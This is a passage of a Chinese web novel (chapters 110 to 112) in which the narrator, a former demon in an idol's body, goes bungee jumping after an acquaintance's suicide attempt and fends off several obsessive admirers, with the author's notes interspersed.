车内似乎弥漫着柠檬的气息,苦涩而尖锐,但他本人却像是一个黑洞,隔着一堵厚厚的、无形的墙壁。 即使伸手去碰,指尖也只会穿过某种异次元空间。 如?果?做某件事是出于对某种东西的渴望,那么他此刻,又在?渴望什么呢? 我看着他,像在?看一本写满了晦涩公式和陌生?符号的数学书,每个字都认识,连在?一起却完全读不懂。 在?经?历了惯性?后,他似乎正朝着某个看不见的深渊不断下坠,在?重力的无情加持下,加速度越来越快。 跳楼的时候,泉卓逸是什么感觉呢?在?身体失重、急速下坠的那几秒里?,他脑子里?最后闪过的,又会是什么画面? 叮咚。 手机新消息的提示音打破了车内的安静。 [柯觅山(还没打脸)]:泉卓逸出事了?你在?哪里??我来找你,现在?不要一个人待着,不管是谁,先和一个人待在?一起,不要胡思乱想,我很快就到 [世界第?一恶魔大人]:你来干什么? 然而,我没想到的是,他竟然紧跟着发来一条看起来简直像被盗号了的消息。 [柯觅山(还没打脸)]:找你,你想怎样都可以,我承认了,我只是想见你,现在? 我抬眼看了看驾驶位上?那个被阴影笼罩的背影,想了想,回复过去。 [世界第?一恶魔大人]:那好吧 [世界第?一恶魔大人]:(共享实时位置) [世界第?一恶魔大人]:来找我吧 对面秒回了一个好字。 我抬起手,对哥哥说:“停车。” 哥哥猛地踩下刹车,轮胎与地面摩擦发出短促的声响,因为惯性?,我们的身体都微微前倾。 他双手仍紧紧抓着方向盘,脸埋在?升腾的、仿佛实质般的黑雾里?,看不清表情。 “就在?这里?等吗?”他问。 我看了眼柯觅山发来的预计到达时间:“他很快就到。” “……” 哥哥垂下头,抬手用?手背抵住额头,又慢慢滑下来,虚虚地遮住了耳朵。 车没有熄火,转向灯还在?发出单调而规律的滴答声,在?突然安静下来的空间里?显得格外清晰。 “……小冬。”他的声音从指缝里?漏出来,轻得像羽毛,“我做错了吗?” “不知道。” 他压抑着呼吸,胸口起伏的弧度很小,仿佛正溺在?深水之中?,最后的空气正从他嘴边一点点溜走,化?作一串无声的、看不到的省略号。 如?果?这是游戏,我会按下快进键,跳过这段漫长的等待。 直到柯觅山的黑色轿车驶入视野,稳稳停在?我们旁边。 我拉开车门。哥哥的声音在?身后响起,单薄地说:“我在?家里?等你。” 我点点头,关上?车门,朝着另一辆车走去。 柯觅山已经?下车,快步绕过来为我拉开后座车门,他身上?的情绪浮躁不安,像烧开的水不断冒着泡。 几乎在?我刚落座,关好车门的瞬间,他就向我投来紧迫的视线,嘴唇动?了动?,却又先转过头去看了眼手机屏幕,声音有些生?硬:“是因为我吗?” 他没头没尾地问,停顿了一下,才更清晰地说:“是因为我去送了那份礼物刺激到他了?” 我想了想,觉得有可能。 “你送了什么?” 他顿了下,抬手按住额头,露出一言难尽的表情:“还是等会儿?再告诉你吧,不是什么值得说道的事。” “他现在?情况怎么样?”他又问,眉头紧锁。 “我看见医生?摇头了。” 我说:“还有泉越泽吐了。” 柯觅山的眉头皱得更紧,他看向我,眼中?各种情绪酝酿翻涌,最后沉甸甸地落在?我脸上?,压低声音说:“先不说他们了。你呢?你感觉怎么样?” “我?” 我向后靠进柔软的座椅里?,陷入了短暂的沉思,然后,一个念头毫无征兆地蹦了出来,让我忽然来了兴致。 我转向紧挨着我坐着、神情紧绷的柯觅山,说:“我们去玩蹦极吧!” 柯觅山:“?” 他拧着眉,视线来来回回地、带着审视意味地扫视我的脸:“现在??这种时候?” “你不去,那我自己去。” 我的手搭在?了门把手上?。 他嘴角立刻浮现出皮笑肉不笑的弧度,几乎是咬着牙说:“行,可以,我陪你去。” 车辆在?前方路口利落地调转方向,朝着相反的方向驶去。 “我们去哪儿?蹦极?” 他瞥了我一眼,手指在?平板电脑的地图上?滑动?,声调依旧低沉:“距离最近的有蹦极项目的游乐场,现在?包场还来得及。” 于是,我也体验了一回包场的快乐! 我的心情重新活跃起来,至于柯觅山怎么想……不重要! 柯觅山盯着平板屏幕上?的路线图,好半晌才再次开口:“你真的没事吗?现在?不是做这个的好时机,我们更应该做的是看看心理?医生?。” “该看医生?的,是泉越泽吧。” 我摆摆手:“他看上?去又要多?一个恐慌症触发点了,上?一个是在?黑夜打雷,现在?这个大概要变成我了。” “你?”柯觅山语气微扬,他沉默了片刻,还是忍不住追问,“那你还打算再去见他吗?” “不。” 我说:“我还没想好接下来要做什么。” “之后再说吧。” 柯觅山重新变得慢条斯理?起来,他靠回座椅,慢悠悠地说:“反正还有很多?时间,没了他们,你也还有很多?其他的……玩伴。” “你也是吗?”我转头看他。 他看了我一眼,没说话,只是自顾自地重新看向平板,手指在?膝盖上?无意识地敲打着。 但整个行程下来,平板屏幕上?那份打开的文档,一页都没有翻过去。 游乐场果?然空无一人,巨大的设施在?黄昏的天光下异常挺拔。 蹦极台非常高,像一根刺向天空的钢铁巨针,下面是宽阔的、反射着天光的人工湖,上?去需要乘坐专用?的观光电梯。 电梯平稳上?升,脚下景物逐渐缩小,门打开时,寒风呼啦啦地刮过脸颊。 几个穿着制服的工作人员早已等候在?旁,手里?拿着专业的防护装备。 柯觅山走到边缘,探头看了眼下方,他转回头,再次看向我,眉头紧锁:“你真的要跳?” 我:“当然。” 我张开手臂,任由工作人员熟练地为我穿戴、检查安全装置。 柯觅山就站在?旁边,紧紧盯着每一个步骤,嘴唇抿成一条直线,其中?一个工作人员看了看我们,忽然提议:“要一起吗?双人跳也是可以的,体验很特别。” 我转头看向还穿着挺括西装、与周围环境格格不入的柯觅山。 他正看着我,额前的头发被风吹得向后拂去,露出光洁的额头,眼睛在?渐暗的天色和灯光下亮得惊人。 他沉默片刻,说:“好。” 双人跳需要面对面站立、紧紧相拥,我十分坦然地环抱住他的腰,他的手臂僵硬了好一会儿?,才抱住我。 那股熟悉的、带着辛辣感的甜姜气息,此刻浓烈到近乎滚烫,他似乎在?微微发抖,抱着我的手臂还在?不断地收紧。 工作人员的声音在?风中?有些模糊:“准备好了吗?倒数十个数,就可以跳了。” 我点点头。 柯觅山毫无反应,只是更紧地抱住了我。 “十、九、八、七……” 他的嘴唇无意间擦过我的脸颊,带着一丝干燥,声音压得极低,几乎被风吹散:“你是因为泉卓逸……才想来的吗?” “六、五、四……” “只是突然想来而已。”我回答。 “三、二……” 他猛地看向我,深蓝色的瞳孔在?极近的距离里?几乎缩成一点,张开嘴想说什么。 “一!” 我向后仰倒。 失重感瞬间充斥全身,心脏像是被猛地揪起,仿佛还停留在?高高的跳台之上?。 急速下坠时,狂暴的风声淹没了所有杂音,身体变得轻飘飘的,思绪仿佛滞后了,过了零点几秒才迟钝地追上?来。 但在?那完全失重、自由落体的一瞬间,大脑里?是一片奇异的空白。 直到被弹性?绳拉扯着上?下弹动?数次,最终缓缓被拉回平台,我仍然沉浸在?坠落感中?,细细回味。 当恶魔的时候,我有翅膀,没体会过这种感觉。 原来没有翅膀,毫无阻碍地跳下来是这样的感觉。 如?果?身体真的砸在?地面不知道又会是什么滋味,不过,在?下坠的刹那,大脑是来不及想任何事情的。 柯觅山跳完之后,显得格外安静,脸色比上?去时更白了些,直到双脚重新踏上?坚实的地面,他才像是重新学会了呼吸,长长地、深深地吸了口气。 坐回车上?,他的神情依旧有些恍惚,手指无意识地搭在?膝盖上?。 我说:“所以你给泉卓逸的礼物,到底是什么?” 柯觅山像是被惊醒,猛地看向我,喉结上?下滚动?,他的视线有些飘忽,不停地、快速地扫过我的脸,最后定格在?我的嘴唇上?,像是没听懂我的话,要靠唇语分辨一样。 我的手在?他眼前挥了挥,他才回过神来。 “……是一些关于他的东西。” 他声音放得很轻,干涩地说:“我把他不小心暴露在?网上?的私人账号痕迹整理?了一下,防止进一步泄露,有人在?查他,不过被我的人拦截了,里?面还有我们小时候的一些东西,照片,玩具。” “小时候,我们其实经?常一起玩。” 他说:“不过在?他父亲去世后,我就很少再去他家了,那段时间,我很讨厌他,现在?想起来,或许只是因为他总是在?哭,总是懦弱地问为什么父母不爱他。” 我捕捉到关键词:“他的账号?他网上?做了什么?” 难不成泉卓逸私下是个网络喷子?严重到要被开盒的程度? 柯觅山看向我,抿了下唇,似乎有些难以启齿:“他是你的粉丝,不过,是不太讨喜的那种。” 我懂了,是辱追。 “如?果?你想看,我可以把他那个账号告诉你。” 要看吗?不用?想也知道,在?那五年?的空白里?,账号一定布满了关于我的痕迹。 柯觅山转过头,沉吟道:“他这个人本质上?很胆小,做不出什么惊天动?地的大事。但他对你的情感非常沉重,让我有时候都看不懂,他到底在?想什么。” “不看了。”我说。 但我又改口:“你还是发给我吧,让我想想,对这个名字有没有印象。” 他低下头,手指在?手机屏幕上?快速操作了几下。 很快,我收到了一个账号链接,点进去,熟悉的网名蹭进眼里?。 这个网名简直不是一般的眼熟,是超级无敌的眼熟,这不是鼎鼎有名的辱追头子吗? 开号的时间是从我离开之前开始的。 我盯着手机上?的字眼。 [停不下来的摩天轮] 真的很难开盒啊。 “我是有私心的。” 旁边的人忽然说,没有看我,而是看向窗外,他的语气有些急促,强行说道:“无论?是礼物还是今天发生?的事。” “我不想再纠结下去了,所以我做出了这种事,想要靠近你,来到你身边,不论?你怎么想,觉得我掉价也好,不要脸也行,我还是做了。” 他看向我,眼睛里?闪烁着光:“看着我吧,至少现在?,至少……有一段时间。” 靠近时,他摸上?我的手背,手指冰冷,还颤抖着,忽然低下头,凑近我,落下一个同?样冷着的吻,眼睛倒映着我模样。 “我的勇气……只有这么一点。” 他说:“回答你之前的问题,我也是。”—— 作者有话说:学哥也是上桌了,不过很快就会被踢,现在属于谁靠近谁就遭罪的情况! 话疗对恋爱脑是没用的,拙拙听到冬子的话,瞬间就绝望了,原本以为可以留下来,结果被拒绝,以为是因为害了普子,最后还在进行比较,比个不停,最后想留个特别的印象,不抱希望地想要取代普子(自以为) 和哥的间隙越来越大,不过很快就会重新回归,对的,然后李四也还上线了,把他安排到最后我都不知道怎么写了……!这个人也是个怪人!《 》 110-115 第111章 有的人?来了, 有的人?走了,世界照常运转,可仍旧没什么新鲜好玩的事发生?。 脑子里的声音倒是时不时冒出来,三天两?头地问:“你?什么时候回去?” “那也得等我先把?这身体修好。”我懒洋洋地回应, “修复工程可艰巨了, 艰巨程度超乎你?的想象。” 天使茫然地问:“需要你?击碎太阳?” “不是。” 我正色道:“是工作。” 像他这种没有吃过工作的苦的天使, 是永远不会理解的,其实我也不是很懂,但是至少比他懂! 不过,该来的总会来, 工作最终还是找上门了。 车千亦姗姗来迟,终于处理完公司积压的事务,开始着?手筹备今年?的演唱会, 据她所说,粉丝群体里已经出现了不太妙的苗头,再不露面做点什么,恐怕真?要出乱子。 因为闲着?没事, 加上恢复身体的想法,我半推半就地回去工作了。 先是拍摄宣传硬照,然后筹备新专辑,其实都是早就选定的曲目, 只需要进棚录音就好。 拍摄场地设在市中心的工作室里, 要求的柔光箱、反光板以及错综复杂的电线, 空气里弥漫着?定型喷雾和咖啡因的味道。 我正按照摄影师的指示摆弄一个?看起来很有未来感的银色道具, 眼?角的余光,忽然瞥见了摄影棚边缘、器械阴影笼罩的角落里,站着?一个?不速之客。 他悄无声息地融在黑暗里, 如果不是车千亦走过来,脸上露出欲言又止的表情,我可能根本不会注意到他。 更奇怪的是,这家伙身上什么情绪气味都没有,一片空白,像个?空心人?偶,到现在我也没搞懂他是个?什么口味的人?。 不知道他是什么时候溜进来的,又站在那里看了多久。 “你?来干嘛?” 我放下道具,朝他那边走了两?步,抱着?手臂上下打量他:“上次你?擅闯我家的事,我还没跟你?算账呢,私闯民宅犯法,懂吗?” 他看着?就不像个?懂法的人?。 黎鸶从阴影里走出来,灯光落在他身上,照亮了他苍白的脸和脖子上那道依旧明显的伤痕,颜色比周围皮肤深一些,像一道诡异的活体纹身。 长发垂落,半遮住眼?睛,只露出那双黑沉沉的、瞳孔缩得极小的眼?睛,让人?联想到某种在暗处观察的冷血动?物。 “不是私闯,是进入。”他平静地纠正,语气毫无波澜,“为了给你?送‘礼物’。我以为那会是个?惊喜。” 惊喜?虽然我确实把?他之前寄来的那堆稀奇古怪的游戏盘翻出来玩了几张,但这算哪门子的惊喜。 我打算无视他,但这家伙就像一道黏在身后的影子,不远不近地跟着?,安静,却?存在感十足。 “你?到底想干嘛?”我再次停下,转身面对他。 他眨了眨眼?睛,动?作有些迟缓,仿佛刚从某种凝神观察的状态中抽离,“我只是想看看你?。” 他的目光依旧牢牢锁在我脸上,专注得近乎怪异,直到眼?睛因为长时间不眨而泛起生?理性的泪光,他才又眨了一下,恍然回神般,用那种平淡无奇的语调补充:“看看你?打算做什么。” “最近,你?身边总会发生?点有趣的事。” 他喃喃自语,声音低得像在跟自己商量:“接近你?的人?,似乎都没什么好下场。这不是很有趣吗?” “那你?再靠近点试试,”我故意恐吓道,“下一个?没好下场的就是你?了。” 他毫无惧色,甚至认真?地点了点头,表示赞同:“你?说得对,所以,我们?才应该待在一起,让我接近你?,看看那些会不会也落在我头上。” “其他人?或许承受不住,但我无所谓。” 他看着?我,说:“你?应该和我在一起。” 我用看重度精神病患的眼?神看着?他:“你?也该去看看医生?了,挂个?专家号,多开点药。” “我每个?月都会定期接受心理评估。” 他陈述事实,然后嘴角扯出一个?没什么温度的弧度:“霍亦瑀才是那个?真?正该去看医生?的人?。” “他在联系你?吗?”他问。 “不知道。”我说,“或许联系过吧。” 用脑电波或者靠意念画小人?的方?式。 “你?一点也不关心他。” 黎鸶说,那个?怪异的笑?容加深了些:“那很好。” 这人?越看越欢乐谷,总之非常奇怪地跟在我屁股后面,就算其他工作人?员投来怪异的目光,他丝毫不在乎,依旧镇定地跟着?。 我想他大概和柯觅山一样,脑子里有根难以理解的筋搭错了地方?,不过柯觅山好歹好懂些,比起眼?前这个?人?,我更愿意和柯觅山说话。 自打那天蹦极之后,柯觅山仿佛打开了某个奇怪的开关。 他每天雷打不动地给我发消息,内容包罗万象,吐槽蠢得冒泡的投资人?、分享无聊的会议片段、拍下他觉得有趣的云或者路边歪脖子树,见缝插针地约我出去。 不过我最近懒得出奇,全部拒绝了。 我摸摸下巴,瞥了一眼?旁边像个?背后灵似的黎鸶,心想:或许下次可以答应柯觅山的某个?邀约,出去玩,总比被不断地找上门好。 “你?来这里,霍亦瑀很快就会知道。”我提醒他。 “让他知道好了。”黎鸶哼笑?一声,毫不在意,“还省了我主动?告知。” 我了然地点头:“你?就是为了气他才来的。” “是,也不全是。” 他微微皱起眉,看着?我时,瞳孔依旧一眨不眨,明明之前对我还是一种避之不及、评估危险的态度,现在却?像块甩不掉的牛皮糖。 他用一种平白直述的语气说:“我对你?的兴趣,暂时超过了对他的厌恶。” “你?身边总能发生?点危险的事,”他再次重复,像是在确认一个?定理,“像一枚行走的定时炸弹,随时可能把?靠近的人?炸得粉碎。” “真?想死的话,你?可以直接躺马路中间。”我联系道。 “我不想死得那么平庸。” 他甚至真?的思考了一下这个?提议,然后认真?否定:“我要在你?身边死掉,或者……看着?其他人?在你?身边死掉,我敢保证,我会是活到最后的那一个?,我的命,一向很硬。” 我彻底搞不懂他的脑回路了。 “黎先生?。” 车千亦拿着?嗡嗡作响的手机走了过来,表情是职业化的平静:“霍总的电话。” “你?可以挂掉。”黎鸶看都没看手机。 但车千亦举着?手机,没有动?作,态度明确。 黎鸶盯着?她看了两?秒,嘴边浮起一个?毫无情绪的弧度,他接过电话,贴在耳边,眉头几不可察地皱紧了一瞬,随即松开。他什么也没说,只是很快挂断了。 “我要走了。” 他把?手机丢还给车千亦,自顾自地宣布,然后又转向我:“下次,我希望可以和你?进行更多的交谈。” 他是不是真?的有第二人?格?或者第三、第四、第五人?格?看着?他离开时依旧挺直的背影,我忍不住思考,人?类的大脑构造是通进哪个?地方?的。 “他……真?的没确诊过什么精神疾病吗?”我问车千亦。 车千亦推了推眼?镜,镜片后的眼?神冷静无比:“根据我的经验,有钱到某种程度的人?,很难没有点个?性化的心理问题。” 拍摄终于收工,我回到化妆间,穿上自己的常服,坐在镜子前等车千亦安排车时,鼻尖忽然掠过一丝极其微弱、但很熟悉的气息。 清甜的、带着?气泡感的可乐味。 我一转头,就看见角落的阴影里,一个?穿着?宽大保洁服、帽子压得极低、口罩遮住大半张脸的人?,正拿着?块抹布,有一下没一下地擦拭着?早已光可鉴人?的桌面。 他的嘴里甚至还哼着?不成?调的、轻快的旋律,演技敷衍得令人?发指。 “邛浚。”我盯着?那团可疑的身影,“你?在这干嘛?” “哎呀。” 角落里的保洁动?作一顿,随即掀开帽子,露出一双笑?得弯弯的、瞳仁格外?黝黑明亮的眼?睛,“没想到这么快就被你?看穿了我天衣无缝的伪装!好久不见啊,小冬,是不是特?别想我?” 我转回头,继续刷手机。 他一点也没气馁,扔开抹布,没个?正型地靠了过来,一屁股坐在我面前的化妆凳上,手肘撑着?膝盖,托着?下巴,笑?盈盈地看着?我:“别这么冷淡嘛,我今天可是兼职私生?饭巡逻员哦,放心,有我在,其他乱七八糟的家伙绝对接近不了你?。” “李四就接近了。”我指出漏洞。 邛浚歪了歪头,做出思考状,随即恍然大悟:“你?说黎鸶啊……那家伙我拦不住,也不在我这次的阻拦范围内,毕竟,他某种程度上还挺有用的,能给霍亦瑀找点不痛快。” 我终于给了他一个?正眼?。 他的眼?睛立刻亮了好几个?度,身体前倾,几乎要趴在化妆台上,满脸写着?快问我快问我。 我说:“你?还和以前一样吵。” 他毫不介意,反而顺着?杆子往上爬:“那能把?我的号码从黑名单里放出来吗?我保证以后只发有意义的消息!” “不要。”我拒绝得干脆利落,“我不想接收你?的垃圾短信轰炸。” “那我安静地躺着?也行!” 他举起三根手指,做出发誓的样子,一头自然卷的头发随着?动?作乱翘:“我保证,在小冬大人?的联络列表里绝对当个?哑巴,除非您主动?来找我。” “……” 他又凑近了一点,卷曲的发梢几乎要扫到我的脸颊。但很快,他自己像是被什么烫到一样,猛地向后一缩,把?脸埋进交叠的手臂里,闷声叹了口气:“真?奇怪……心脏跳得有点吵。” “这是不是意味着?,”他抬起头,眼?睛透过臂弯的缝隙看我,弯成?月牙,“我要完蛋了?” 他看着?我,语气轻快得像在讨论天气:“泉卓逸完蛋得挺早。我还以为他能坚持久一点呢……不过也还好,我大概能猜到这个?结局。” “你?的消息真?灵通。” “我有很多老鼠耳朵嘛。”他抬手比在耳边,做了个?聆听的姿势,然后煞有介事地点点头,“而且,我还知道一个?秘密哦,很重要的那种。这个?秘密……我只告诉你?一个?人?。” 从老鼠那里听来的秘密?是指哪家餐厅的厨余垃圾桶最丰富吗? 我瞥了他一眼?,没接话。 但他已经凑得更近,几乎是贴着?我耳朵,用气声飞快地说:“今天晚上,会有只巨型老鼠去你?家门口,小心点。” 我忽然想起上次电话里,他那些断断续续、气息微弱的句子,不由得上下打量了他一番:“你?的身体还好吧?” 邛浚愣了一下,随即忍不住低低笑?了起来,肩膀耸动?,再抬头时,他已经重新拉好了口罩,只露出一双笑?得弯弯的眼?睛。 他拿起靠在旁边的扫把?,转身朝外?走,声音带着?笑?意,“放心吧,我的命硬着?呢,至少现在还不会死。” “没有价值的死亡,我才不做那种亏本买卖。” 他背对着?我挥了挥手,步伐轻快地消失在了走廊拐角。 车千亦正好和他擦身而过,有些疑惑地看了一眼?他的的背影,走过来对我说:“今天的工作结束了,下次安排录音,之后就可以开始排练。” 她顿了顿,扶了下眼?镜,语气平静地问:“刚才那个?人?……你?是不是认识?” “对。”我简短地回答。 她点了点头,没再多问。 回去的车上,手机叮叮咚咚响个?不停,柯觅山的消息一条接一条地蹦出来,隔着?屏幕都能感受到他那种与以往不同的、略带亢奋的粘糊劲。 [柯觅山(变异版)]:今天开了四个?小时的会……快睡着?了 [柯觅山(变异版)]:中午发给你?的那个?人?照片看了吗?我真?的服了,一点脑子都不带,什么事都来问我,到底还想不想要投资了 [柯觅山(变异版)]:对了,下个?月W市有大型游戏嘉年?华,如果你?感兴趣,我们?可以去看,行程我来安排 …… 我挑挑拣拣,回复了最关键的那条。 [世界第一恶魔大人?]:游戏嘉年?华?具体什么时候? [柯觅山(变异版)]:下个?月中旬。那段时间我正好有空,机票酒店什么的我来搞定 [柯觅山(变异版)]:^(注:此符号代表期待,并非阴阳怪气,请回复另一半完成?该表情) 我故意回复了:^^。 车子平稳地驶向家的方?向,我盯着?手机屏幕,想了想,动?手把?某个?沉寂已久的号码从黑名单里拖了出来。 几乎是立刻,一个?句号跳了出来。 [邛浚(保持警惕)]:信号测试成?功 [邛浚(保持警惕)]:(小熊乖巧捂嘴.jpg) 发完这个?表情包后,聊天框果然安静如鸡,这让我原本打算再次把?他关进去的手指停了下来。 黑名单里还躺着?另一个?名字,但我暂时没有释放他的打算,宗朔不是还在抱怨被骚扰吗?那就让他再享受一阵子吧!为了老板我承受这点负担,不是应该的吗? 车子缓缓停在家门口。我推门下车,才猛地想起邛浚那个?巨型老鼠的警告。 果然,一只人?形的巨型老鼠正杵在我家门口,旁边停着?那辆标志性的、骚包的亮色跑车。 更夸张的是,他手里抱着?、车里堆着?、甚至脚边都摆满了各式各样的鲜花,简直像个?移动?花店,而他本人?,正顶着?那张灿烂得有点过分的笑?脸。 看到我,他立刻迎了上来,微微歪头,用一种刻意放轻、几乎算得上温柔的语调说:“好久不见啊,这些天,我可是想你?想得睡不着?,每天在梦里祈求原谅,你?有没有听到,我的内心正在夸张地祈求着?原谅。” 话从左耳进右耳出,我试图从他旁边绕过去。 但他动?作敏捷地左挪右挡,像一堵会移动?的人?墙,精准地封锁了我通往家门的每一条路径。 “我明白了,”他自动?完成?了听力理解,笑?容放大,“你?肯定也想我了,只是不好意思说。” “最近被一些小事绊住了,没来得及第一时间来找你?,还生?气吗?别生?气了,好不好?你?想要什么,我都给你?弄来。” 他语气放得更软:“最近发生?了不少事吧?要不要给我讲讲?我保证是个?好听众。” “你?不是都知道吗?” 我停下脚步,抬眼?看他:“还是说,你?特?意跑来,是想向我炫耀你?的战绩?” 颜升脸上的笑?容有一瞬间极其细微的凝滞,随即,那弧度加深,几乎要眯成?两?条缝,遮住眼?底的情绪。 “我就知道,肯定有人?在你?耳边吹了歪风,你?才一直不肯理我。”他慢条斯理地说,一个?个?名字从他嘴里蹦出来,“是谁呢?邛浚?霍亦瑀?还是……那个?没什么用的宗朔?” 他拖长了调子,最后用一种笃定的语气盖棺定论:“算算时间,是霍亦瑀那个?贱人?吧?” “他是不是说,一切都是我干的?” 颜升嗤笑?一声,摇摇头:“真?是好大一口锅扣下来,我要是真?想动?手,绝不会用这么迂回又没效率的方?式,也绝不会伤到你?。” “而且,那个?人?也不值得我特?意去处理。” “如果是我,”他颇为轻松地耸耸肩,甚至朝我眨了眨眼?,“要挑目标,也该选你?哥才对。” “在男公关店的那件事,你?放心,我会替你?保密的。” 什么?哪件事?哪个?男公关店? 我的脑子里蹦出无数个?问号。 颜升不等我反应,已经将怀里最大的一束花不由分说地塞进我手里,但我肌无力,所以花直接掉在了地上。 他看了我一眼?,笑?容逐渐加深,半晌后,他叹了口气,语气听起来有几分纵容:“算了,没关系,我们?还有很多时间,现在不原谅我也没关系,而且现在确实不是什么谈心的好时机。” “你?身边总是这么热闹,冒出各种各样的人?,” 他意有所指地看了看我手里不断弹出新消息提示的手机:“看得我……都有点想做点什么了。” 手机再次嗡嗡震动?,是柯觅山发来了详细的行程草案,让我核对时间,我低头看了一眼?屏幕。 颜升的目光落在我的手机上,没有说话。 就在我家的智能门锁发出咔哒轻响、门即将开启的前一刻,颜升忽然上前一步,极其自然地给了我一个?短暂却?紧密的拥抱。 温热的气息拂过耳畔,他的声音压得极低,带着?点漫不经心的语调:“有人?在里面偷听我们?讲话呢……真?烦。” 下一秒,他松手,退开,笑?容重新变得灿烂而无害。 “可惜啊,我还有好多话想给你?说,但是时间总是这么不凑巧,总有人?打断,真?是没办法啊,要是世界上只剩下我们?两?个?人?就好了。” 他抱怨着?,捡起地上的花朵,将一支塞进自己的领口,朝我眨了下眼?睛,转身离开—— 作者有话说:还没修完[爆哭],我的大脑已经糊了 窝不行了,我困得遭不住了,先睡了,明天起来修文,大大地修了 第112章 又到了独处的时候。 房间里静悄悄的, 只有电视机屏幕的光明?明?灭灭,投在?墙壁和家具上。 电影对白孜孜不倦地从音响里流淌出来?,像关不紧的水龙头?,滴滴答答, 填满整个房间。 要说点?什?么吗? 人不应该一直安静下去, 因为光凭借对视不能知道彼此的想法, 所以?需要说话,不过就算了解彼此的想法,也应该说点?什?么。 因为情感是?持续的消耗品,需要维持, 对话就像是?往火堆里添加柴火,让它能够一直燃烧。 之前这?不是?我要考虑的事情,因为栾明?是?一种不论我做什?么都会继续燃烧的生物, 但现在?似乎不一样了,总有一种,如果不对他说点?什?么,他会连着火一起熄灭的感觉。 时间对人的影响很大, 连带出一堆原本不需要考虑的问题。 像朋友群里每天都得冒出点?新动?静一样。 潘小谷之前来?找我,扭扭捏捏了半天,才吞吞吐吐说出缘由?,因为距离太远, 如果再?不定期说点?什?么, 她害怕那份友谊会像其他许多人那样, 在?沉默里不知不觉淡掉, 最终无话可说。 其实我不是?很能理解这?种焦虑,时间在?我看来?,总像只慢吞吞的蜗牛, 只有哪天忽然回头?,才会发现它身后已拖出那么长一道湿漉漉的、无法忽视的痕迹。 但既然这?是?人类的规则,我也开始每天在?群里冒泡,用这?种重复的日常对话,来?证明?某种联系依然存在?。 由?此可见,人是?需要说话的。 我看了旁边的哥哥,他坐着笔直,不像是?在?家里,而像是?面对着面试官,在?开会似的。 我没见过他开会的模样,但我猜可能还没有现在?严肃。 他最严肃的模样……应该是?在?面对高利贷的时候吧,在?被危急生命时,才会露出的模样。 屏幕里的角色开始了漫长的独白,即使?面前空无一人,他也能对着虚空滔滔不绝,像河蚌固执地吞吐沙粒,一字一句地倾倒出来?。 如果说出来?的话,会让一切变得好受点?吗? 我想了想,开口打破了沉寂:“其实我很无聊,发生这?么多事后,这?个世界好像变得更加无趣了,每天都是?一样的,那些人反反复复地出现,虽然有些人已经不会再?出现了,不过吧……不知道从什?么开始,所有事都变得无趣了。” “现在?还算有点?意?思的,好像就剩柯觅山了。” 哥哥似乎愣了一下,缓缓转过头?看我,嘴唇微微启开,眼神里有点?茫然:“……是?吗? 这?时候,该回忆一下过去吗? 我看了眼电视屏幕,按照那些剧本的套路,这?种时候,角色总该对过去发表点?看法,怀念、悔恨、渴望重来?……总得有点?情绪。 但是?我左思右想,什?么也没想出来?。 “……” 哥哥忽然开口:“我也是?吗?对小冬来?说,我也是?那个变得无聊的人吗?” 我看着他,没说话。 他忽然失去力气一般垂下头?,肩膀垮了下去,抬手按住太阳穴。 柠檬的气息逐渐变得苦涩,静静地从面前流淌而过。 其实是?因为我拥有了太多,所以?才会觉得无聊吧,我知道一个简单的道理,饿的时候,食物才会变得格外好吃。 “我……” 哥哥张了张嘴,话到嘴边却又咽了回去,他看着我的眼睛,那里面的痛苦浓稠得几乎要滴落下来?,“再?等等吧,小冬,再?等一下吧……过了这?个冬天就好了,现在?的事太多了……” 他有些胡言乱语,努力拼凑起语言,但最后只变成无力的低语。 他说:“现在?……还不是?停下来?的时候。” “你在?做什?么?”我问。 “我只是?想要回到以?前,只有我们在?一起的时候,没有什?么好不好的,只要是?我们就可以?了。” “所以?,”我说,“要把其他人处理掉吗?” 他苦笑了一下,摇摇头?,声音低得几乎听不见:“我没有那么想……” 他的声音越来?越小,几乎听不到。 之前是?他说要聊一聊,但现在?他却找不到说话的方式,在?原地兜圈。 “泉卓逸跳下来?的那天,我去蹦极了。” 我换了个话题,轻松地说说:“原来?从那么高的地方跳下去,是?那种感觉,全身轻飘飘的,脑子?里什?么也不用想。” “其实停下来也挺简单的,因为后面有根绳子?,只要拉到最长的时候,它就可以?停下来?了。” 哥哥安静地听着,他十分擅长当?一个倾听者,而且只进不出,他的肚子里一定装满了秘密。 “下次,我们一起去吧。” 我说:“我答应过你,要带你一起享受的。” “但是?你总是?在?忙,不应该快点休息吗?要过年了诶,留点?时间吧,一起做完那些事,就可以?完全结束了。” “……结束?”他重复这个词,像是?不太理解。 “对啊。”我看向电视,“每个电影结尾都要有包饺子?结局,不是?吗?” 哥哥安静地看着我,看了很久。然后,他忽然伸手抓住我的手,反反复复地摩挲着我的手指,确认温度似的,接着,他低下头?,把脸埋进我的颈窝。 我拍拍他,他仍然蜷曲着身体,像是?要把自己缩小塞进我的体内似的。 “很快的,只要再?一点?时间,那些事很快就会结束……浦真天会回来?的,医院那边也在?努力……时间很快,可以?回到以?前……只有我们,你和我……” 他的话没有逻辑,只是?轻轻吐出,又骤然收紧,抓住我的手臂,反复地念出我的名字,苦涩地咀嚼着:“小冬、小冬……” “再?等一会吧,再?等一会就好了,我保证,很快就会结束了。” 就像高利贷那样吗?在?突然爆发之后戛然而止。 我抬手摸了摸他的头?发,发质干燥,有点?扎手。 他就这?样把重量抵在?我肩上,一动?不动?,像一尊凝固的雕塑。 电影走到尽头?,他也没有抬起头?。 于是?我保持着这?个动?作开始玩手机。 [宗伟朔大]:原来?是?找到新玩具了,才不搭理我,果然啊,新鲜感都有保质期 [宗伟朔大]:麦景最近不知道在?发什?么疯,时不时就来?办公室,你要是?感兴趣的话,把他也带去玩玩吧 [世界第一恶魔大人]:你本来?就是?个老东西 [宗伟朔大]:老东西也有渴望的权利 [世界第一恶魔大人]:也不知道最近了怎么了,感觉所有的事都乱了,你懂吗?有种老鼠在?偷零食的感觉 [宗伟朔大]:那老鼠有点?多了 [宗伟朔大]:最近风浪大,工作越来?越麻烦了,想要保住公司可不容易啊 [世界第一恶魔大人]:我希望你可以?活着 对面隔了好一会才发来?消息,不知道是?不是?工作太努力晕过去了。 [宗伟朔大]:因为公司?我知道。不过……我会把这?句话当?做你是?对我说的 [宗朔]:截图了,加班的时候用 他也是?脑子?出问题了。 我想了想,给邛浚发了消息。 [世界第一恶魔大人]:我命令你,把你知道的所有事告诉我 [邛浚(保持警惕)]:哎呀 [邛浚(保持警惕)]:说出来?我就没有吸引力了 